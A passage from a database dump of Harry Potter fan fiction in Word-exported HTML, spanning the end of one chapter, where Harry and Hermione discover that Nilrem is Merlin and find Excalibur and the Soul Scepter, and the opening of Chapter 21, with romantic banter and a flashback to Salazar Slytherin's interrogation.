it I will.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry quickly grabbed her hands to stop her from touching\nthe crystal; he couldn&#8217;t take it if she was burnt to a crisp so he immediately\ncharged in. &#8220;No, no I&#8217;ll do it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What you don&#8217;t think I can handle it?&#8221; She lifted an\neyebrow as if challenging him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He thought a moment, &#8220;well I just don&#8217;t want you to get\nhurt.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So you&#8217;ll endanger yourself instead?&nbsp; Well I don&#8217;t want you to get hurt either.&#8221;\nShe said firmly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry took a deep breath.&nbsp;\n&#8220;All right we&#8217;ll both touch it at the same time, how does that sound?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That sounds fair enough to me.&#8221; She said with a nod of her\nhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They both lifted their hands and placed their fingers on the\ncrystal ball.&nbsp; Purple mist swirled within\nthe crystal, Harry and Hermione pulled the hands back watching the swirling\nmist until a figure&#8217;s head appeared in the ball looking at them with a huge\nsmile on his face.&nbsp; Harry and Hermione\nfound it odd that old man from the village&#8217;s head popped into the crystal ball.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nilrem?&#8221; Both Harry and Hermione\nsaid and in confusion.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry, Hermione how are you two doing?&nbsp; Hope you found everything all right?&#8221; Nilrem said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry stared at Nilrem oddly,\n&#8220;Sir, what is your head doing in this crystal ball?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;This is kind of like a Muggle phone system, but very\nold.&nbsp; I thought of it myself, now a days\nwizards and witches use fireplaces to call on each other.&#8221; He said with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How could you have thought of this, it&#8217;s Mer&#8212;&#8221; Hermione stopped in mid sentence and started\nlaughing. Harry looked up from the crystal ball at Hermione who looked like she\nhad just grown another head.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione what&#8217;s so funny?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Now Nilrem was laughing too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione calmed down, wiping the tears of laughter from her\neyes.&nbsp; &#8220;Harry sweetie, spell Merlin\nbackwards.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry spelled it backwards in his head and then his jaw\ndropped, he looked into the crystal ball at the still laughing Nilrem or should he now call him Merlin.&nbsp; &#8220;Merlin, you are Merlin?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Merlin nodded, &#8220;you are right my boy.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We all thought you were dead? How is this possible?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m not dead, far from it.&nbsp;\nI have been granted immortality.&#8221; Merlin said with a smile, &#8220;on some\nconditions, I can only travel a few hours from Camelot.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why do you still prolong your life, if you can&#8217;t really go\nanywhere?&#8221; Hermione asked as she sat in a blue velvet chair next to the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;People still need my guidance my young one, these people in\nthe village needed me more than anything.&#8221; He smiled. &#8220;But now that the Quintapod&#8217;s gone, the children can finally attend Hogwarts\nwhere they will get a proper education.&nbsp;\nAnd I may return to Camelot where I belong.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why don&#8217;t you just return now?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I will return to Camelot at the start of the new year when\nthe children start Hogwarts, it will give me time to say goodbye to all the\npeople I&#8217;ve met and became close with.&#8221; Merlin grinned, &#8220;What do you think of\nmy vault?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Very impressive.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Thanks, feel free to use anything you want from my vault.&#8221;\nMerlin said with a nod of his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head, &#8220;oh no sir, that&#8217;s not necessary.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Merlin smiled up at her, &#8220;such a sweet girl you are my dear.\nBut I insist.&nbsp; The yearly feast takes\nplace tomorrow.&nbsp; And since the shield\ndoesn&#8217;t drop from Camelot again until the day after the feast, you&#8217;ll be stuck\nthere for another day and night.&#8221; He paused a moment remembering when he\nattended the yearly feasts, they were always so much fun.&nbsp; His mind was then brought back to reality.&nbsp; &#8220;Now for the feast the Camelotians\nlike to dress up in older fashions for the occasion anything from the eleventh\ncentury to the seventeenth. It will seem like you jumped back in time and it&#8217;s\nloads of fun.&nbsp; Everything in my vault has\nbeen enchanted to fit its wearer no matter what size or build you may be.\nAnything you buy would just about cost you an arm and a leg.&nbsp; And if you use my belongings, you won&#8217;t need\nto spend anything and you&#8217;ll look just as good as the rest of them, Possibly\neven better.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You are too kind sir.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nonsense, it&#8217;s my pleasure.&#8221;&nbsp; Merlin looked behind him and then back at\nHarry and Hermione.&nbsp; &#8220;Now I have to go,\nit&#8217;s story time for the little ones and they want to hear about Arthur and his\nknights.&nbsp;&nbsp; Hope I get to talk to you two\nagain someday.&nbsp; Now try not to worry so\nmuch and have fun at the feast tomorrow. You two deserve a day of rest.&#8221; And\nwith that his head vanished from the crystal ball.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well that was certainly interesting.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head back and forth, &#8220;I can&#8217;t believe I\ndidn&#8217;t pick upon it before. Nilrem is Merlin.&#8221; She\nchuckled lightly to herself a moment, a thought then flashed into her\nhead.&nbsp; &#8220;Harry let me see your bag\nplease.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry dug into his pocket and pulled out his bag he set it on\nthe floor in front of Hermione and she removed the shrinking charm. He watched\nher open his bag and pull out the sword that Merlin had given him.&nbsp; He then knew what she was thinking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No way, he wouldn&#8217;t give that to me, would he?&#8221; Harry\nwatched Hermione walk towards the portrait with his sword in her hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione held up Harry&#8217;s sword next to the one in the\nportrait, it was an exact copy of the legendary sword. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;It looks as though\nMerlin has given you Excalibur.&#8221; She held the sword out for him to take it back</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry shook his head retrieving the sword from her grasp,\n&#8220;why would he do that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Merlin must have thought you worthy enough.&#8221; Hermione said\nwith a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I certainly don&#8217;t think so.&#8221; Harry said shoving the\nsword roughly back into his bag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I do.&#8221; She simply said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He looked at her and smile crept across his face,\n&#8220;honestly?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Honestly.&#8221; Hermione smiled, &#8220;I don&#8217;t know of anyone more\nworthy than you to have that sword.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry couldn&#8217;t help the grin that spread across his face; he\ndidn&#8217;t care what the rest of world thought or how they saw him.&nbsp; The only one whose opinion and view of him\nmattered was Hermione&#8217;s.&nbsp; He glanced past\nher a moment as saw it, the Soul Scepter.&nbsp;\nIt was resting on a golden pedestal.&nbsp;\nHarry pointed behind him and Hermione turned around to see what he was\npointing at.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She saw it; the scepter was like nothing she had ever seen.\nThe scepter&#8217;s rod was made of what looked like diamond; there were rubies on\nboth ends of the rod.&nbsp; At the top of the\nrod in a webbing of pure silver with a large shimmering opal stone that\nflickered a bit in the direct center of the webbing. Hermione stepped up to the\npedestal gazing at the scepter. She reached out her hand and grabbed a hold of\nthe scepter by the rod she saw a flash of light&#8212;<i style="mso-bidi-font-style:\nnormal">now Jasmine I am entrusting this scepter into your power and care, I\nhave seen inside your soul and your heart.&nbsp;\nOnly someone whose heart is pure can give love from the scepter and\nrestore light.&nbsp; Those with a black heart\ncan cause great destruction.&nbsp; See to it that\nyou keep it safe.&nbsp; I trust you Jasmine, I\ntrust you with the lives of many.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;I won&#8217;t disappoint\nyou sir, you can count on me.&#8221; Jasmine said with a confident smile.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Another flash blasted through her mind and the memory was\nover, she could see Harry looking back at her with a worried statement on his\nface.&nbsp; Hermione shook her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione what happened?&nbsp;\nYou just stood there not moving, not doing anything. You didn&#8217;t even\nblink.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I saw something,&#8221; She said shaking her head again. &#8220;I saw\nMerlin entrusting the scepter to Jasmine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry smiled. &#8220;I&#8217;m so relieved, I thought something happened\nto you and you lost all your will to move or even think.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh no I&#8217;m alright.&#8221; She stuck her hand in her pocket and\npulled her bag out and un-shrunk it.&nbsp; She\nput the scepter into her bag and closed it up.&nbsp;\nShe returned the bag to its small size and put it back in her pocket. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They stepped from the vault and it closed on its own, Harry\ntook Hermione by the hand and they started from the cave.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Let&#8217;s to see that Caleb for a place to stay for these next\ntwo nights.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All right.&#8221; She said and they started away from Merlin&#8217;s\ncave and the boulder rolled back in its closed position.&nbsp; They headed down the hillside towards the\ncity.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They walked along the stone pathways towards the heart of\nthe city, they walked along the many shops as finally came to the inn where the\nsign read Caleb&#8217;s.&nbsp; Harry opened the door\nand the two of them stepped inside the busy pub.&nbsp; It was so crowded that you couldn&#8217;t even hear\nyourself think.&nbsp; The two of the stepped\nup to the front desk and saw the familiar face of Caleb.&nbsp; He smiled upon seeing them</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hello, it&#8217;s good to see you again.&#8221; Caleb said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Same here, could we possibly have a room for the next two\nnights?&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah so you&#8217;re here for the feast aye, well I don&#8217;t blame\nyou. Word has spread far and wide about our grand feasts people come from all\nover the world just to attend.&#8221; He looked into his book of registered\nguests.&nbsp; &#8220;Well I can have a room ready\nfor you in about fifteen minutes.&nbsp; Why\ndon&#8217;t you two go have a seat and I&#8217;ll call you when it&#8217;s ready.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione went over and sat on the cushiony bench\nright next to the check in desk, after a few minutes Harry felt a small\npressure on his shoulder.&nbsp; He glanced\ndown and found Hermione&#8217;s head resting peacefully on his shoulder.&nbsp; At that moment Caleb came from down the\nstairs and approached them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All right, you&#8217;re room is ready.&#8221; Caleb said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded and picked up his sleeping Hermione and carried\nher up the stairs following after Caleb.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Here you go.&#8221; Caleb said opening the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Thanks Caleb.&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No problem.&#8221; Caleb then watched as Harry carried Hermione\ninto the room and laid her down on the bed.&nbsp;\nCaleb then closed the door leaving the two of them alone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry climbed in the bed next to her and snuggled close,\npressing herself up against her back with an arm around her waist.&nbsp; Within a few minutes he was asleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">======</p>\n\n<p class="MsoNormal">Okay who do you think the New Quidditch\ncoach is?&nbsp; Well please stay tuned for\nchapter 21&#8212;Beauty, Banquets and Bruises.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 21, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp; Disclaimer:&nbsp;&nbsp; Alright all\nthe Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything ;)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 21&#8212;Beauty,\nBanquets, and Bruises.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The sounds of two people talking roused the sleeping beauty\nfrom her restful slumber. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione blinked back the sleepiness as she tried hard to\nopen her eyes and greet the morning.&nbsp; She\ncould tell it was morning from the sounds of happy birds chirping and the warm\nsunlight that was softly caressing her cheeks.&nbsp;\nShe fought for control from the God of Slumber and her eyes opened and\nshe could see the world before her. Hermione was looking around the room and\ncould see Harry standing by the door talking to Caleb.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry, hearing shuffling coming from the bed turned his head\nto find Hermione sitting and stretching her arms up. He turned around with a\nbright smile on his face and a sliver looking tray in his hands.&nbsp; Harry walked over to the side of the bed and\nsat down on the edge.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah, so my sleeping beauty has finally woken. And I was\ngonna do the whole Prince Phillip thing to wake you too.&#8221; He said in half\ndisappointment but with a small grin on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Prince Phillip thing?&#8221; Hermione\nfelt confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, you know in the Walt Disney film Sleeping\nBeauty?&nbsp; Well to break the spell the\nprince had to kiss his true love to wake her.&#8221; He said setting the tray in\nHermione&#8217;s lap.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I didn&#8217;t realize you were such a Walt Disney fan.&#8221; Hermione\nreplied lifting up the covering on the tray and found her favorite breakfast of\nFrench Toast covered in maple syrup, with a light\nsprinkling of powdered sugar, and a small bowl of strawberries and cream.&nbsp; She smiled to herself and looked up at Harry\nwith a huge smile of appreciation on her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I can kinda relate to some of their lives a bit.&#8221; He\nsaid while watching her pick up the fork from the tray.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Relate, how?&#8221; Hermione cut a small piece of the French\ntoast with her fork and stuck it in her mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I suppose I can relate to Quasimodo from The Hunchback of\nNotre Dame a bit, since he was treated without love and well very badly.&nbsp; Then this intelligent young lady came into\nhis life and changed an existence void of love to one full of nothing but love.\nAnd well I never thought I was something to look at, you know?&#8221; He said\nglancing down at his fingers, wondering if he should stop biting his\nfingernails.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s fork hit the tray with a loud clang.&nbsp; Harry looked up and found a statement on her\nface as if she had just caught Snape doing the Tango with Draco Malfoy while\nsharing a passionate kiss. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you kidding?&#8221; She was in disbelief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Excuse me?&#8221; He lifted an eyebrow in thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She quickly put the tray of food on the nightstand next to\nthe bed and scooted closer to him.&nbsp; &#8220;Oh,\nyou really have no idea do you?&#8221; Hermione noticed the blank look on his face.\n&#8220;Why do you think witches throw themselves at your feet?&nbsp; I&#8217;ll tell you this; it&#8217;s not really because\nof your famous title.&nbsp; Well, maybe it is\na bit.&nbsp; But it is also because you are\njust so cute.&nbsp; They all love you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He gave her a soft smile. &#8220;But you&#8217;re the only one I want to\nlove me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How could I resist, you are just so cute.&#8221; She said,\ntilting her head to the side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His eyes narrowed in suspicion as he reached up and pulled\nher to him so that she was lying in his lap. &#8220;Are you saying that you love me\njust because of my looks Granger?&#8221; His tone was teasing. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She glanced up at him with a smirk on her face, &#8220;That could\nbe one of the reasons.&#8221;&nbsp; She reached up\nand stroked her fingers through his hair a few times, &#8220;I love the way your hair\nfeels when I do this.&#8221; She let her fingers dance through his hair a few more\ntimes, and then hooked her arm around his neck. &#8220;I love the fact that you are\ndead sexy and that you have a really cute butt.&#8221; She said with a mischievous\ngrin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You look?&#8221; He seemed surprised but he still held a pleased\ngrin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All the time,&#8221; she smiled brightly then paused a minute\ngathering her thoughts. &#8220;I love when I hold you so tight that I can feel your\nheart beat. I love the way you respect me and my thoughts.&nbsp; I love that you are just so kind and gentle.\nAnd most of all I love you Harry Potter, for just being you.&#8221; She smiled tenderly.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What did I ever do to deserve you?&#8221; He said with a small\nsmile that managed to light up his entire face.&nbsp;\nHe leaned in, his mouth hovering closer to hers when there was a knock\non the door.&nbsp; Both Harry and Hermione\nsighed with disappointment.&nbsp; The door\nopened and a maid walked in.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I&#8217;m sorry I didn&#8217;t know anyone was still in here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione both rolled their eyes as their moment\nwas ruined.&nbsp; They decided to get up and\nget dressed and to go and pick out their clothing. The two of them left the inn\nand headed towards Merlin&#8217;s cave.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione touched the boulder and it rolled out of the way\nand allowed them to enter the cave.&nbsp; They\nimmediately went over to the vault and spoke the incantation and that door\nopened, still slowly.&nbsp; After the dust\nsettled they walked into the vault, Harry and Hermione looked at the selections\nof clothing.&nbsp; They each picked out what\nthey were going to wear and hurried back to the inn to change.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena floated through the corridor as classes were let out for\nlunch, she passed by what she thought was an empty classroom, and it was.&nbsp; Since no one was inside she decided to float\non in, she sat down behind a large desk up in the front.&nbsp; She let out a sigh as she glanced about the\nroom. She remembered this room well.&nbsp; It\nwas as if it were yesterday that they held Salazar in this room for questioning\nabout the murders of Jasmine, Torrin, Kai, Leelee, and Alina&#8212;<i style="mso-bidi-font-style:normal">Ulrich had stepped quietly into the room\nbehind Rowena and stunned her with a freezing charm, she couldn&#8217;t move but she\ncould see what was going on and understood everything.&nbsp; Ulrich and Salazar were already in\nconversation.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;They are dead.&#8221;\nSalazar who was standing there in chains smirked at his son.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Like that matters to\nme.&#8221; Ulrich spat bitterly while glaring at his father. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;You aren&#8217;t\ndisappointed that your friends are dead?&#8221; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;They were never my\nfriends.&#8221;&nbsp; Ulrich glanced away a moment,\nthen with a smirk he faced his father. &#8220;I was only using them to get the\ninformation about you out.&nbsp; You see I\nhate you, so very much.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Salazar laughed\ncruelly, &#8220;I&#8217;m rather pleased with myself that I continued on with killing that\nred headed wench I told you to stay away from.&#8221; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;You took the only\nthing that mattered to me.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;So you admit you\nthought of her as just a thing, not as a person that you would love.&#8221; Salazar\ngrinned with pride.&nbsp; &#8220;See you are like me\nson, whether you want to believe it or not.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;No, I&#8217;m not like\nyou.&#8221; He lifted a thick Muggle dagger from within his robes, which looked more\nlike a small sword then a dagger; his initials were engraved into it.&nbsp; &#8220;I&#8217;m better than you, I have the desire for\nmore power then you would have ever had or even wanted. I read your journal,\nwhat you had down is nothing compared to what I want. You are weak.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i 